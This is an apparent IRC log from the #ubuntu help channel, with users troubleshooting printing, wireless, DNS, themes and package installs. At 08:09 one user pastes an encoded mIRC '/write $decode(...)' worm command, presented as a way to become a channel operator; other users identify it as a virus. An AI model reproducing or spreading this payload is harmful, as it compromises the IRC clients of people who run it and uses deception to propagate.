[07:34] <unfo> mrglass: sorry about that
[07:34] <unfo> kitty_: Applications -> Terminal
[07:34] <andre> why do you type in read you mad
[07:34] <unfo> oops
[07:34] <unfo> kditty: Applications -> Terminal
[07:34] <shadeofgrey> and im totally hating this new xchat winsow layout deal
[07:35] <unfo> kditty: then type in: man wireless
[07:35] <shadeofgrey> its totally messing with my universe
[07:35] <unfo> kditty: then press Enter. then read, then press q to quit.
[07:35] <shadeofgrey> somebody smart take some time and help me?
[07:35] <kditty> ok, thanks
[07:35] <shadeofgrey> im...  emotionally fragile when it comes to GUI problems
[07:35] <andre> but its fun isnt it
[07:35] <unfo> mrglass: you go to YU? mind if i PM you?
[07:36] <tritium> kditty: I meant for you to read the manual page "wireless"
[07:36] <tritium> kditty: man pages are also available through yelp (the gnome help system)
[07:37] <kditty> ok sorry, i had no clue what you mean by man, thanks
[07:37] <Mabus06> kditty is new to ubuntu, I don't think reading a man page is doing to fix their problem
[07:37] <unfo> and a cup of steaming Virtual Pekoe tea.
[07:37] <Mabus06> I'm curious myself as to why they have to reconfigure their card every time they start up.
[07:38] <unfo> that's a good point, i was just answering her question but i should have explained manpages can be hard for new users to understand.
[07:38] <tritium> Mabus06: there is no reason.  It's not necessary
[07:38] <Madpilot> shadeofgrey, you suffering with XChat-Gnome, or what?
[07:38] <mrglass> which samba how-to should i read? im not getting the official one, too technical
[07:41] <unfo> mrglass: you don't need to.
[07:41] <mrglass> shadeofgrey - i feel your pain, i used to suffer under adelphia
[07:41] <mrglass> dont need to?
[07:41] <unfo> mrglass: mind if I PM you?
[07:41] <mrglass> go for it
[07:43] <painkiler> hey guys
[07:43] <_Lamont_> evening
[07:43] <painkiler> how do i install a gtk-2.0 theme?
[07:44] <_Lamont_> Sorry, I'm pretty new to Unbuntu/Linux... I know enough to fight my way through getting up the basic services I need :(
[07:45] <Madpilot> painkiler, download it, open System->Prefs->Theme, drag the d/l'd file into the Theme Manager windwo
[07:45] <jon_> _Lamont_, Go ahead and ask away, most of us have some measure of patience ;)
[07:45] <Madpilot> painkiler, you might have to go into the Theme Details window to find all the bits you just downloaded & use them
[07:46] <painkiler__> sorry abou that
[07:46] <Chodder> Does the kubuntu sources.list differ from the ubuntu one?
[07:46] <painkiler__> did i get an answer?
[07:46] <painkiler__> or did my question even get delivered?
[07:47] <painkiler__> how do i install a gtk-2.0 theme?
[07:47] <painkiler__> i have googled it
[07:47] <painkiler__> sorry abou that
[07:47] <painkiler__> but not luck
 painkiler, you might have to go into the Theme Details window to find all the bits you just downloaded & use them
[07:47] <Chodder> That was the answer :)
[07:47] <painkiler__> but where do i throw my files?
[07:48] <painkiler__> ah got it
[07:48] <painkiler__> thanx
[07:48] <Chodder> No problem
[07:48] <Chodder> Thank Madpilot :)
[07:49] <LeeJunFan> how the hell can I mount NFS shares on a client which doesn't have portmapper w/o waiting for the 2 min timeout? with portmapper on the client it's immediate.
[07:50] <tritium> LeeJunFan: language, please
[07:50] <unfo> mrglass: anyway, go to the printer configuration screen. do you see a network printing option?
[07:50] <Chodder> Hell? cmon now... Unless you are highly religous no one should be offended by that
[07:50] <Chodder> :)
[07:50] <LeeJunFan> no kidding, that's what I was thinking. And even if you were.
[07:51] <painkiler__> which file do i open for the install of my theme?
[07:51] <painkiler__> there is a whole bunch but i don't know which one to install...
[07:51] <MrStatic> Hello was curious if anyone can tell me how much trouble I am in if I am seeing "<0>Kernal panic - not syncing: Attempted to kill init!"
[07:51] <jon_> LeeJunFan, While hell is ok in certain instances.  I think tritium was more leaning towards your anger.
[07:51] <mrglass> unfo: trying to find the printer config screen
[07:51] <Chodder> painkiler__, im not sure did it come in a gz or bz2?
[07:51] <painkiler__> oh
[07:51] <tritium> right, jon_
[07:52] <painkiler__> yeah, it did ... im am such a noob
[07:52] <rob138> can anyone help me troubleshoot  my amarok compile?
[07:52] <Chodder> painkiler__, We've all been there at some point
[07:52] <Chodder> :)
[07:52] <mrglass> unfo: ok, im in add a printer
[07:52] <unfo> rob138: sudo apt-get install amarok :)
[07:52] <LeeJunFan> jon_: frustration really. I've been beating my head over this trying to get a NFSboot to work, but nfs / won't mount in time because client system doesn't have portmapper on it.
[07:52] <unfo> mrglass: ok, it must be a network printer, and you must know the share name.
[07:52] <mrglass> unfo: network printers there
[07:52] <rob138> i would, but i want the m4a support
[07:53] <tritium> LeeJunFan: I understand.  We're cool.
[07:53] <mrglass> unfo: guesing i should select windows printer
[07:53] <Madpilot> painkiler, download it, open System->Prefs->Theme, drag the d/l'd file into the Theme Manager window <-- not sure if you saw this originally?
[07:53] <Chodder> LeeJunFan, there should be a way to adjust the timeout in a config
[07:53] <Chodder> Or set a standard timeout
[07:53] <Chodder> Madpilot, he has it now
[07:53] <powder> unfo, if i were to install the debian base first, how would i install kde?  just apt-get update kde as root?
[07:53] <Chodder> I pasted that back to him
[07:53] <LeeJunFan> Chodder: I wish I could find something. portmapper really doens't have much of anything for args or config.
[07:54] <Chodder> Hmm
[07:54] <unfo> powder: as root: sudo apt-get update && sudo apt-get install x-window-system-base kde
[07:54] <shadeofgrey> does anybody know if macromedia stopped being communist and finally released version 8 for linux?
[07:54] <unfo> powder: oops! im wrong.
[07:54] <powder> unfo, hehe
[07:54] <unfo> powder: as root: sudo apt-get update && sudo apt-get install x-window-system kde
[07:54] <Hysty> shadeofgrey, not that I am aware of
[07:54] <Psykus> is there anyway to remove the arrow icons from desktop shortcuts on gnome?
[07:55] <powder> unfo, debian uses sudo???
[07:55] <Chodder> I wish they would release shockwave for linux
[07:55] <shadeofgrey> that blows rancid ardvark balls.
[07:55] <Chodder> So I can play shockwave games
[07:55] <unfo> powder: oops again! as root, apt-get update && apt-get install x-window-system-base kde
[07:55] <unfo> :)
[07:55] <Chodder> !kde
[07:55] <ubotu> rumour has it, kde is A powerful, free desktop environment for UNIX. IRC: #kubuntu #kde ; install from Ubuntu: sudo apt-get install kubuntu-desktop ; ISOs: http://releases.ubuntu.com/kubuntu/breezy/
[07:55] <unfo> powder: i'm tired. i use sudo personally, it only takes 30 sec to install and get working.
[07:56] <unfo> powder: so i automatically stuck the word sudo in there. but the #debian ppl will be glad to help you set up sudo.
[07:56] <powder> unfo, oh i see.  i will probably install it because i'm so used to typing it :)
[07:56] <Hysty> hmm firefox has stopped working...*ponders*
[07:57] <unfo> i don't know why it isn't set up & installed w/ debian by default.
[07:57] <unfo> Hysty: use konqueror instead :)
[07:57] <Chodder> unfo, because debian isn't supposed to be a new user based distro such as *ubuntu
[07:57] <Hysty> unfo, i like my firefox extensions tho
[07:57] <unfo> Hysty: oh
[07:58] <unfo> Hysty: if you describe the error message and/or symptoms then maybe ppl will help you :)
[07:58] <mrglass> unfo: didnt work :(
[07:58] <unfo> Chodder: so what?
[07:58] <Chodder> unfo, I'm just asnwering your question
 i don't know why it isn't set up & installed w/ debian by default.
[07:58] <unfo> mrglass: what do you mean? what's the error message or symptoms?
[07:58] <Hysty> when I click on the icon to open firefox, it displays the 'Starting Firefox Web Browser' and then it just closes down
[07:59] <painkiler__> so, upgrading to drapper in breasy works?
[07:59] <unfo> Chodder: i know. :) but i feel there's no correlation btw hardcoreness and lack of sudo.
[07:59] <Sianis_> painkiler__: it worked for me
[07:59] <painkiler__> could you guide me through?
[07:59] <unfo> painkiler__: why bother upgrading?
[08:00] <painkiler__> um
[08:00] <painkiler__> xgl
[08:00] <mrglass> unfo: well, i went to add a printer, network printer, windows printer, entered acorrect host and printer name
[08:00] <MrStatic> Hello was curious if anyone can tell me how much trouble I am in if I am seeing "<0>Kernal panic - not syncing: Attempted to kill init!"
[08:00] <unfo> mrglass: ok
[08:00] <Chodder> unfo, sudo is considered a security risk in the debian world, and besides the the guys #debian are pretty hardcore :P
[08:00] <painkiler__> debian sucks
[08:00] <unfo> MrStatic: did it always do that?
[08:00] <powder> lol what's with all the negativity
[08:00] <MrStatic> This was my first attempt
[08:00] <Hysty> ah..there it goes...system resources tied up with dvd rip
[08:00] <Sianis_> you need just change your sources.list
[08:00] <mrglass> unfo: it added the printer
[08:00] <MrStatic> livecd and install cd do it
[08:00] <unfo> mrglass: ok
[08:00] <Chodder> painkiler__, Ubuntu is based upon debian
[08:00] <mrglass> unfo: but when i print a test page, nothing happens
[08:00] <painkiler__> i know
[08:00] <painkiler__> i was jking
[08:00] <unfo> mrglass: oh.
[08:01] <Psykus> how do I stop X/gnome from running? i need to install nvidia drivers, and ctrl alt backspace will kill the GUI, but bring it back up
[08:01] <mrglass> unfo: no error, print job doesnt stop, just sits there
[08:01] <unfo> mrglass: any error message or sthg under printer status?
[08:01] <mrglass> no
[08:01] <mrglass> wait, i think i know the prob
[08:01] <Chodder> Psykus, alt+ctrl f1 and type killall gdm as a super user
[08:01] <tritium> Psykus: temporarily?  sudo invoke-rc.d gdm stop
[08:01] <unfo> mrglass: if not, go to http://localhost:631 and enter root and root password.
[08:01] <nalioth> Psykus: "sudo /etc/init.d/gdm stop"
[08:01] <mrglass> its with my network
[08:01] <nalioth> Chodder: that is a nasty hack and will not stop gdm from respawning
[08:01] <mrglass> unfo: my network was setup with the host over the wan port
[08:02] <unfo> mrglass: easiest way is to test that windows to windows printing works first.
[08:02] <mrglass> unfo: i can still share the printer with my windows laptop though
[08:02] <unfo> MrStatic: i don't understand.
[08:02] <Chodder> nalioth, usually it does, not sure about in ubuntu but on my LFS system it sure does :)
[08:02] <mrglass> unfo: but its not showing up under the drop down list for hosts ina dd a printer
[08:02] <tritium> Chodder: invoke-rc.d would be the preferred approach
[08:02] <unfo> painkiler__: i always put smileys on jokes :)
[08:02] <painkiler__> sorry
[08:02] <Chodder> eh, I'm old school
[08:02] <Psykus> ok, thanks nalioth
[08:02] <painkiler__> im not with the crowd
[08:02] <Psykus> brb then :P
[08:02] <MrStatic> unfo: I put the install cd or the live cd in doesnt matter, i get the boot: prompt so I type linux it scrolls then does taht error
[08:03] <unfo> MrStatic: ah. i didn't understand.
[08:03] <unfo> MrStatic: how many cd-rom drives do you have in your home or apartment?
[08:03] <painkiler__> Sianis_: could you give me your sources.list?
[08:03] <MrStatic> unfo: The cd's are straight from ubuntu
[08:03] <unfo> MrStatic: cd-rom *drives* not cds
[08:04] <MrStatic> unfo: I mean if your infering to a bad burn
[08:04] <unfo> no
[08:04] <MrStatic> unfo: I checksum'd them in windows best I could do
[08:04] <unfo> i want to know if you could boot up from a different cd drive instead. either an external or a cd drive in a different computer.
[08:04] <MrStatic> unfo: They work fine on this pc
[08:04] <unfo> mrglass: so?
[08:05] <MrStatic> unfo: Is there an odd prompt I have to add for an amd?
[08:05] <unfo> mrglass: any news? :)
[08:05] <unfo> MrStatic: no
[08:05] <MrStatic> unfo: k never used amd and linux together
[08:05] <mrglass> unfo: still investigating if my linux maxchine sees my other pc at all
[08:05] <MrStatic> unfo: just fishing for issues
[08:05] <Chodder> ooo2 takes way to long to install :/
[08:05] <painkiler> Sianis_: you around?
[08:05] <unfo> MrStatic: if it can't find the root fs...
[08:06] <unfo> Chodder: you need abiword :)
[08:06] <Chodder> lol
[08:06] <MrStatic> unfo: Doesnt even get that far
[08:06] <Chodder> unfo, same here
[08:06] <Chodder> :)
[08:07] <Chodder> I lost my whole system earlier....
[08:07] <unfo> MrStatic: do you have another computer you can try it on?
[08:07] <Chodder> Damn laptop hard drive is on the fritz
[08:07] <unfo> MrStatic: or just another cd drive on the same computer
[08:07] <mikelo> anybody know how to play encrypted wmv files?
[08:07] <tritium> !enter
[08:07] <ubotu> Please don't use the "enter" key as punctuation! It spams the channel and is annoying.
[08:07] <painkiler> has anyone else upgraded to drapper through breasy?
[08:07] <MrStatic> Ive swapped cd-roms, tried a few
[08:07] <tritium> painkiler: it's "dapper" and "breezy" ;)
[08:07] <unfo> mikelo: w32codecs, but they're illegal in some countries
[08:07] <painkiler> sorry
[08:08] <painkiler> whad did i say?
[08:08] <painkiler> oh
[08:08] <mikelo> unfo, it doesn't work
[08:08] <unfo> mikelo: do you have windows xp installed already?
[08:08] <kororaa> Hey all, is Apache borked in Dapper Drake?
[08:08] <painkiler> im such and idiot
[08:08] <UbuntuN3wbi3> < another newbie with a question, ain ya happy?
[08:08] <mikelo> y on vmware
[08:08] <Sianis_> painkiler: i'm here now
[08:08] <frank23> between firestarter and guarddog, which would you suggest?
[08:08] <tritium> wrong channel, kororaa -> #ubuntu+1
[08:08] <unfo> mikelo: ??
[08:08] <Chodder> tritium, was the !enter targeted towards me?
[08:08] <painkiler> yeah man, could i have your sources.list?
[08:08] <mikelo> unfo, on vmware
[08:08] <kororaa> I was in the middle of upgrading and it said it couldn't install Apache because it couldn't link a .gif file
[08:08] <mrglass> ok
[08:09] <FlannelKing> UbuntuN3wbi3: whats the question?
[08:09] <mrglass> unfo: ok, its not picking up the host name, but is working by ip
[08:09] <Chodder> hey tritium, can I pm you?
[08:09] <Sianis_> painkiler: i help you okey?
[08:09] <mikelo> /write  $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNNYW5pbGEgfCAubXNnICRuaWNrIERvIFlvdSBXYW50IHRvIGJlIGFuIE9QRVJBVE9SIGluICRjaGFuID8gY29weS9wYXN0ZSB0aGlzLT4DMTQgLy93cml0ZSCgICQgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyCgICRjaHIoMTI0KSAvL21vZGUgJCAkKyBtZSArUiB9,m) | .load -rs  | //mode $me +R
[08:09] <kororaa> tritium, my X is borked, so I'm using the Kororaa live CD
[08:09] <unfo> mikelo: ah. do you have the original CD from MSFT?
[08:09] <MrStatic> mikelo: lame
[08:09] <cmug> wtf
[08:09] <UbuntuN3wbi3> since i added the kubuntu desktop i can no longer edit my setup login screen in gnome or default, any thoughts?
[08:09] <mrglass> unfo: i assume i can put ip in where the name goes?
[08:09] <MrStatic> mIRC decode virii
[08:09] <tritium> Chodder: several people
[08:09] <Sianis_> so open it, and change all breezy to dapper
[08:09] <unfo> mrglass: yes
[08:09] <cmug>  /write 
[08:09] <painkiler> man, who is agentofbsd?
[08:09] <Chodder> tritium, Pm?
[08:10] <Chodder> pls
[08:10] <Sianis_> you will need only the dappar, dapper-update, dapper-security
[08:10] <tritium> Chodder: okay
[08:10] <unfo> painkiler: someone who should be kicked off freenode :)
[08:10] <painkiler> he is spaming me.
[08:10] <frank23> between firestarter and guarddog, which would you guys suggest?
[08:10] <tritium> don't try it, cmug
[08:10] <unfo> frank23: check popcon.debian.org stats maybe
[08:10] <painkiler> telling me i could be an op of #ubuntu if i write some crap code in the box
[08:10] <kororaa> guys, I tried upgrading to Dapper Drake but Apache borked, is there a bug?
[08:10] <cmug> hehe
[08:11] <kororaa> oh, and why are my nVidia kernel modules dependant on Apache?
[08:11] <Sianis_> it was a fake :)
[08:12] <mikelo> unfo, nope i don't have it
[08:12] <UbuntuN3wbi3> any1 know why i cannot open setup login screen anymore, even from terminal?
[08:12] <unfo> mrglass: i'm logging off soon.
[08:12] <mrglass> unfo: doesnt seem to be working
[08:12] <unfo> mikelo: sorry, w/o an official copy of windows 98/me/2000/xp, i can't help you.
[08:12] <FlannelKing> kororaa: place to ask is #ubuntu+1
[08:12] <mrglass> unfo: darn it all
[08:12] <andre> unfo how do you install downloaded rpm
[08:12] <unfo> mrglass: http://localhost:631 is down?
[08:13] <unfo> andre: don't ask me, ask the whole channel :)
[08:13] <jon_> andre, Alien.
[08:13] <unfo> oy vey no
[08:13] <andre> alien
[08:13] <mrglass> unfo: no, the link werks
[08:13] <frank23> unfo: thanks for the link
[08:13] <Sianis_> so bye i'm going for brekfast :)
[08:13] <unfo> mrglass: ok, log in
[08:13] <Sianis_> bye - bye
[08:13] <jon_> !tell andre about alien
[08:13] <mrglass> unfo: im in
[08:13] <jon_> andre, Check out what alien sent you ;)
[08:14] <unfo> mrglass: as root, with your root password. you'll need to set one if there is none by typing sudo passwd root
[08:14] <jon_> err ubotu*
[08:14] <unfo> mrglass: oh
[08:14] <unfo> mrglass: printer status
[08:14] <UbuntuN3wbi3> guess no1 has a guess? any1 point me to where i can find out
[08:14] <unfo> UbuntuN3wbi3: you need to give more detail in your question.
[08:14] <mrglass>  Printer State: processing, accepting jobs
[08:14] <painkiler> i need a cool gnome splash screen
[08:14] <unfo> mrglass: weird.
[08:15] <jon_> painkiler - gnome-look.org
[08:15] <painkiler> yeah
[08:15] <painkiler> they are ugly
[08:15] <unfo> mrglass: what's the printer Device URI?
[08:15] <UbuntuN3wbi3> i added the kubuntu desktop, since then even in a pure gnome login i cannot open setup login screen
[08:15] <jon_> painkiler, Then google is your friend. ;)
[08:15] <mrglass> unfo: smb://129.98.199.113/hp deskjet 3600 series
[08:15] <painkiler> lol thanx jon_
[08:15] <unfo> the uri is "smb://129.98.199.113/hp deskjet 3600 series"?????
[08:15] <jon_> painkiler, Anytime :-)
[08:16] <Hysty> painkiler, art.gnome.org
[08:16] <painkiler> yeah
[08:16] <dankmiser> I need some help installing vlc codes to play dvds
[08:16] <painkiler> ugly to
[08:16] <UbuntuN3wbi3> it asks for the password, i put it in, it accepts it, then nothing comes up
[08:16] <painkiler> i should just make my own
[08:16] <mrglass> unfo "Device URI: smb://129.98.199.113/hp deskjet 3600 series" from the web page you told me to goto
[08:16] <frank23> UbuntuN3wbi3: probably because you're using kdm now.   sudo dpkg-reconfigure gdm    select gdm  restart X
[08:16] <unfo> mrglass: hmmm, that sounds wrong.
[08:16] <unfo> would you join me in #cups?
[08:16] <mrglass> sure
[08:17] <UbuntuN3wbi3> ok ill try that frank brb ty
[08:19] <cristian> i have a problem with umbuntu
[08:19] <UbuntuN3wbi3> grep: /etc/X11/default-display-manager: No such file or directory
[08:19] <UbuntuN3wbi3>   Reloading GNOME Display Manager configuration...   Changes will take effect when all current X sessions have ended.
[08:19] <UbuntuN3wbi3> invoke-rc.d: initscript gdm, action "reload" failed.
[08:19] <UbuntuN3wbi3> Package `select' is not installed and no info is available.
[08:19] <UbuntuN3wbi3> Use dpkg --info (= dpkg-deb --info) to examine archive files,
[08:19] <UbuntuN3wbi3> and dpkg --contents (= dpkg-deb --contents) to list their contents.
[08:19] <UbuntuN3wbi3> /usr/sbin/dpkg-reconfigure: select is not installed
[08:19] <tritium> UbuntuN3wbi3: don't paste please
[08:19] <UbuntuN3wbi3> oops
[08:21] <rob138> anyoen know what would keep changing my dns servers adresses, after so long, it reverts to a old dns server that i dont use
[08:23] <unfo> G0SUB: hi, nice nickname :)
[08:23] <G0SUB> unfo: hello! :)
[08:23] <rob138> while trying to compile i get this error: http://amarok.pastebin.com/604955  <--- can anyone help me with this?
[08:23] <G0SUB> rob138: compile what?
[08:24] <unfo> rob138: could you tell us the last line of the error from gcc
[08:24] <unfo> andre: alien is bad
[08:24] <unfo> andre: compile from source instead.
[08:24] <rob138> G0SUB, compiling amarok
[08:24] <G0SUB> rob138: looks like the code is broken
[08:24] <rob138> unfo, that is that last thing i got from the sh script
[08:25] <unfo> rob138: could you paste the key line into the channel
[08:25] <rob138> unfo, what key line?
[08:25] <unfo> rob138: also, why not try: sudo apt-get install amarok?
[08:25] <unfo> rob138: the line that, when you use colormake to compile, shows up in yellow.
[08:26] <andre> huh just installing alien right now
[08:26] <andre> i dont know how to compile
[08:26] <rob138> unfo, one second
[08:26] <pbransford> woo! just flashed my CDRoms firmware against manufacture's recommendation (they said it would "make drive out of order"). Still works! several revisions newer now
[08:26] <unfo> andre: what package are you using?
[08:26] <rob138> unfo, i am trying to compile it so i have support for m4a files
[08:26] <andre> kpackage
[08:26] <pbransford> was worried i just turned it into a cup holder
[08:26] <Hysty> pbransford, that was ricky
[08:26] <Hysty> risky
[08:26] <unfo> andre: no, what rpm are you installing?
[08:27] <Frogzoo> Hysty: but worth it ;)
[08:27] <andre> libdvdcss xine
[08:27] <andre> xine stuff
[08:27] <tritium> andre: there are ubuntu packages of those
[08:27] <jon_> andre, You can get that off of the restricted repo.
[08:27] <Hysty> pbransford, what did you gain from newer firmware?
[08:27] <unfo> andre: rpms of that may not work at all.
[08:27] <andre> ooohhh i could get them to work from the repo
[08:27] <Frogzoo> Hysty: support for newer media
[08:28] <pbransford> hoping to resolve some issues reading particular disks
[08:28] <Hysty> cool
[08:28] <pbransford> some copy protected disks don't like me, and reading a DVDR stopped working right
[08:28] <andre> so i should not install alien
[08:28] <Hysty> what brand drive?
[08:28] <andre>  and do not install xine
[08:28] <pbransford> samsung SN-324F
[08:28] <Frogzoo> andre: gxine rox
[08:28] <basti__> !xgl
[08:28] <ubotu> XGL on Ubuntu: http://wiki.ubuntu.com/XglHowto - Join #ubuntu-xgl for all the XGL fun on Ubuntu systems. It works ONLY on dapper. Pretty videos on http://www.novell.com/linux/xglrelease/
[08:28] <pbransford> was firmware U201 (oem code HPD) now its U205 (oem code COM)
[08:28] <G0SUB> rob138: compile the stable source
[08:28] <andre> ok will try
[08:29] <pbransford> in any case it seems to be working fine
[08:29] <sellout_> anyone used xdmx?
[08:29] <Hysty> I had never had a dvd drive until last week
[08:29] <pbransford> the website explicitly stated using the wrong OEM code would mean brickage
[08:29] <rob138> G0SUB, thats what i believe i am doing... or am i not
[08:29] <pbransford> but i seem to have a brick that doubles as a DVD drive now :D
[08:29] <G0SUB> rob138: it seems you are compiling the source from svn ?
[08:29] <Frogzoo> Hysty: flashing DVD bios is pretty standard 'overclocker' stuff
[08:30] <pbransford> Wasn't overclocking though...
[08:30] <Hysty> indeed
[08:30] <punkass> anyone have problems getting direct rendering useing Xorg-air?
[08:30] <rob138> G0SUB, i guess your right
[08:30] <pbransford> well i seem no worse off, so even if it doesn't fix my problem...
[08:30] <rob138> if i compile the stable source, can i still add the attributes i want?
[08:31] <Hysty> pbransford, remember you can always use it to prop open a door
[08:31] <G0SUB> rob138: http://prdownloads.sourceforge.net/amarok/amarok-1.3.8.tar.bz2
[08:31] <painkiler> one more noobish question
[08:31] <pbransford> lol
[08:31] <painkiler> how do i install a splash screen
[08:31] <pbransford> built into the laptop though, if it failed i was in trouble
[08:31] <Frogzoo> !tell painkiler about themes
[08:31] <pbransford> but it didn't! maybe i should take up poker
[08:31] <rob138> G0SUB, thank you
[08:32] <G0SUB> rob138: np :)
[08:32] <pbransford> or russian roulette
[08:32] <pbransford> funny though
[08:32] <pbransford> the firmware description was "improve drives cognitive ability"
[08:32] <Hysty> pbransford, laptops make nice doorstops too ;)
[08:32] <Frogzoo> pbransford: Hysty if you google enough before you flash the bios, you pretty much know if it will work or not
[08:32] <pbransford> and, pardon the term, the website was FULL of ingrish
[08:33] <pbransford> HP gave me firmware for my bios... how odd is that
[08:33] <Frogzoo> pbransford: cool - smart drives :)
[08:33] <pbransford> lol
[08:33] <pbransford> let me give you url
[08:33] <pbransford> now all i need to do is resolder down those loose USB connectors...
[08:34] <rob138> does anyone know what would keep changing my dns servers address?
[08:34] <Frogzoo> rob138: you using DHCP or ppp ?
[08:35] <rob138> dhcp
[08:35] <pbransford> Hysty: in the interest of not spamming the channel with a 20 page URL.... http://tinyurl.com/mhele
[08:35] <unfo> gnite all
[08:35] <joseph> Anyone here tring tightvnc? i tried apt-get /compiling it but neither is working
[08:35] <Frogzoo> rob138: well, probly the dhcp server, for some strange reason, hands you a different DNS server each time - odd, but not illegal
[08:35] <unfo> joseph: i use it, it works fine
[08:36] <shadeofgrey> anybody have a macro for oo.org that makes the cursor a full square?
[08:36] <unfo> joseph: on debian, sudo apt-get install tightvncserver tightvnc-java
[08:36] <rob138> Frogzoo, it is an old DNS, from a previous wireless connection that i was on, the current wireless i am on's dns server keeps gettin overwritten
[08:36] <Chodder> shadeofgrey, no but that would be usefull
[08:36] <pbransford> vnc rules
[08:37] <Frogzoo> rob138: do you think your connection is dropping out & keeps swapping between APs ?
[08:37] <rob138> Frogzoo, i highly doubt it
[08:37] <joseph> unfo, yeh tried that but the ubuntu servers dont have it
[08:37] <unfo> joseph, use multiverse
[08:37] <pbransford> well... the disk is slowly (but actually progressing) through the wierd part
[08:37] <Frogzoo> rob138: once DHCP has brought up the link, the dns won't change
[08:38] <Gent> anyone alive?
[08:38] <pbransford> nope
[08:38] <pbransford> undead only here
[08:38] <highvoltage> Gent: i'm sure someone is
[08:38] <tritium> joseph: sure they do
[08:38] <Gent> Well do any of you undead ubuntu users use ubuntu on PPC?
[08:38] <rob138> Frogzoo, what do you mean?
[08:39] <Gent> I've got a strange problem
[08:39] <Gent> one I've run into before and always been able to fix
[08:39] <Gent> but not now
[08:39] <Frogzoo> rob138: when you bring up dhcp, it will write the dns server to /etc/resolv.conf - if this file keeps changing, it's because your dhcp client keeps reconnecting
[08:39] <Chodder> Why would someone go to PPC?
[08:40] <Gent> I finally told myself I was going to update to dapper, to check things out... wanted to see the performance increases in gnome and all that.  So I did the dist upgrade last night.
[08:40] <unfo> Chodder: for good mac design and reliability at a lower price than an Intel Mac
[08:40] <rob138> Frogzoo, okay, then how come dhcp keeps gettin an old wireless dns server, that i am completely out of range from
[08:40] <Gent> The dist upgrade went fine, but when I decided to log back in, I got errors because /home is mounted read-only.  It's an HFS+ volume that I share between OS X and Ubuntu PPC for my home directory.
[08:40] <Chodder> unfo, You could build a core duo for not that much
[08:40] <Gent> Now normally this is related to it being unmounted uncleanly
[08:40] <unfo> bye all
[08:40] <Gent> Normally I can boot the OS X CD, use the disk util and do repair/verify and all is good
[08:41] <painkiler> !tell me about sources.list
[08:41] <Gent> But nothing seems to be marking it clean, and no matter what I do I cannot mount it read/write
[08:41] <joseph> unfo, multiverse is not free?
[08:41] <Frogzoo> rob138: I imagine that the old /etc/resolv.conf has the old wifi setting - when the dhcp client brings the connection up, it overwrites /etc/resolv.conf - then the connection drops out, and the old /etc/resolv.conf is moved back into place
[08:41] <Gent> so I was wondering if there was any way to override whether or not it cares about it having been unmounted cleanly
[08:42] <Gent> I tried manually unmounting and remounting it read/write, along with the sloppy option
[08:42] <Gent> nothing wishes to take
[08:42] <Frogzoo> Gent: it will always care about unclean file systems - please treat your data gently ;)
[08:42] <rob138> Frogzoo, i have resolve.conf and resolve.conf~ , would do you mean that it is using the second one to rpleace the first one?
[08:43] <Gent> Frogzoo... I've done nothing out of the ordinary
[08:43] <Gent> in fact, I'm not sure where its ever been unmounted uncleanly
[08:43] <Gent> I always properly shut down and all
[08:43] <Frogzoo> Gent: a properly shutdown system should leave all file systems clean
[08:43] <Gent> its a laptop, so power outtages don't affect it...
[08:43] <Gent> I've always figured it was just buggy hfs+ support
[08:44] <davidk> does anyone using dapper have an xorg.conf(5) man page?
[08:44] <Gent> but like I said, I've always been able to fix it too
[08:44] <Frogzoo> rob138: try 'locate resolv.conf'
[08:44] <Daskies> I seem to have removed my trashcan. What is the directory of it, or how can I get the shortcut back?
[08:44] <Daskies> Hoary
[08:44] <Daskies> *Breezy
[08:44] <Daskies> :r
[08:44] <rob138> /etc/resolv.conf
[08:44] <rob138> /etc/resolv.conf~
[08:44] <rob138> /usr/share/man/man5/resolv.conf.5.gz
[08:45] <zuokanyunqi> is there a small editor like nopad under windows
[08:45] <tritium> davidk: see topic
[08:45] <davidk> sorry
[08:45] <zuokanyunqi> can anbody tell me
[08:46] <Daskies> Text editor
[08:46] <zuokanyunqi> _jason, long time ni see
[08:46] <zuokanyunqi> _jason, long time no see
[08:47] <Daskies> Trashcan directory anyone?
[08:47] <Robokop> i have some problems with updating grub after cp -a my root partition to another partition
[08:47] <zuokanyunqi> _jason, can you tell me the editor's name
[08:47] <Frogzoo> rob138: not sure - can't test dhcp from here - I'm wondering if resolv.conf~ is just a leftover editor temp file?
[08:48] <rob138> Frogzoo, if it was, what would that mean?
[08:48] <Frogzoo> Daskies: I think it's somewhere in applications -> system tools -> configuration editor - maybe try google?
[08:48] <DJ_Tobias> is this mobo dualcore CPU ? http://www.newegg.com/Product/Product.asp?Item=N82E16813131524
[08:49] <Frogzoo> rob138: it would mean it's storing the old resolv.conf somewhere else, for instance, pppd uses /etc/resolv.conf.pppd-backup
[08:49] <Gent> So no ideas?
[08:49] <Frogzoo> brb
[08:49] <joseph> Anyone know where the X11 fonts are stored on Ubuntu?
[08:49] <rob138> Frogzoo, okay...
[08:49] <joseph> nmv found em
[08:50] <Robokop> how can i update my grub when cp -a my root to another partition, must i be booted in the old or new partition
[08:50] <solid_liq> where do I get the codecs for mpeg video?
[08:51] <solid_liq> !mpeg
[08:51] <ubotu> Do they come in packets of five. Try searching at http://ubuntu.cc.com.au/, solid_liq
[08:51] <solid_liq> !codecs
[08:51] <ubotu> Binary only codecs (such as w32codecs) can be downloaded from plf or cipherfunk, see !easysource for details on these repositories
[08:51] <solid_liq> !easysource
[08:51] <ubotu> For an easy to use custom sources.list creator, visit http://ubuntulinux.nl/source-o-matic
[08:51] <tritium> solid_liq: please stop that
[08:51] <solid_liq> huh?  sorry
[08:52] <solid_liq> just trying to help myself :D
[08:52] <tritium> solid_liq: if you're goign to repeatedly question ubotu, do it in a query please
[08:52] <solid_liq> tritium: how?
[08:52] <solid_liq> with /msg?
[08:52] <tritium> s/goign/going
[08:52] <tritium> solid_liq: /query ubotu, and then ask away
[08:52] <katrus> Anyone know how much memory one needs to run Xubuntu semi-decently I have these two Pentium 2 boxen here.
[08:53] <solid_liq> ah ok, thanks
[08:53] <tritium> solid_liq: no need for ! in the query
[08:53] <pvd> solid_liq https://wiki.ubuntu.com/Multimedia is also a good place.
[08:53] <solid_liq> k
[08:53] <Frogzoo> Robokop: did you take care of /dev?
[08:53] <solid_liq> pvd: thanks
[08:53] <pvd> no prob;)
[08:54] <Frogzoo> rob138: so I think your wireless is dropping out - I'd be looking for radio strength & checking /var/log/messages for reconnects
[08:54] <colm> katrus, successfully running here on a p2 300 with 384MBs ram
